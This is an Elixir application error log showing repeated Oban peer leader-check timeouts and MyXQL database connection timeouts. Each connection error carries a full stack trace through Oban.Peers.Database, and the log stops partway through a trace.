[Sat Sep  5 21:28:46.990000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:28:51.104000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:29:26.140000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:29:31.141000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:29:34.582000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:29:35.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:30:09.188000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:30:09.584000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:30:14.189000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:30:18.836000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:30:51.868000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:30:56.869000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:31:01.145000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:31:35.180000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:31:40.181000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:31:44.589000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:31:44.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:32:19.011000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:32:19.591000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:32:24.013000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:32:28.679000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:33:03.711000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:05.148000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:08.712000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:13.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:33:47.073000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:52.074000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:54.596000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:33:56.833000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:34:30.867000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:34:35.868000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:34:40.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:35:14.256000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:35:19.257000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:35:23.360000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:35:57.392000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:35:59.601000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:36:02.397000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:36:05.152000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:36:06.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
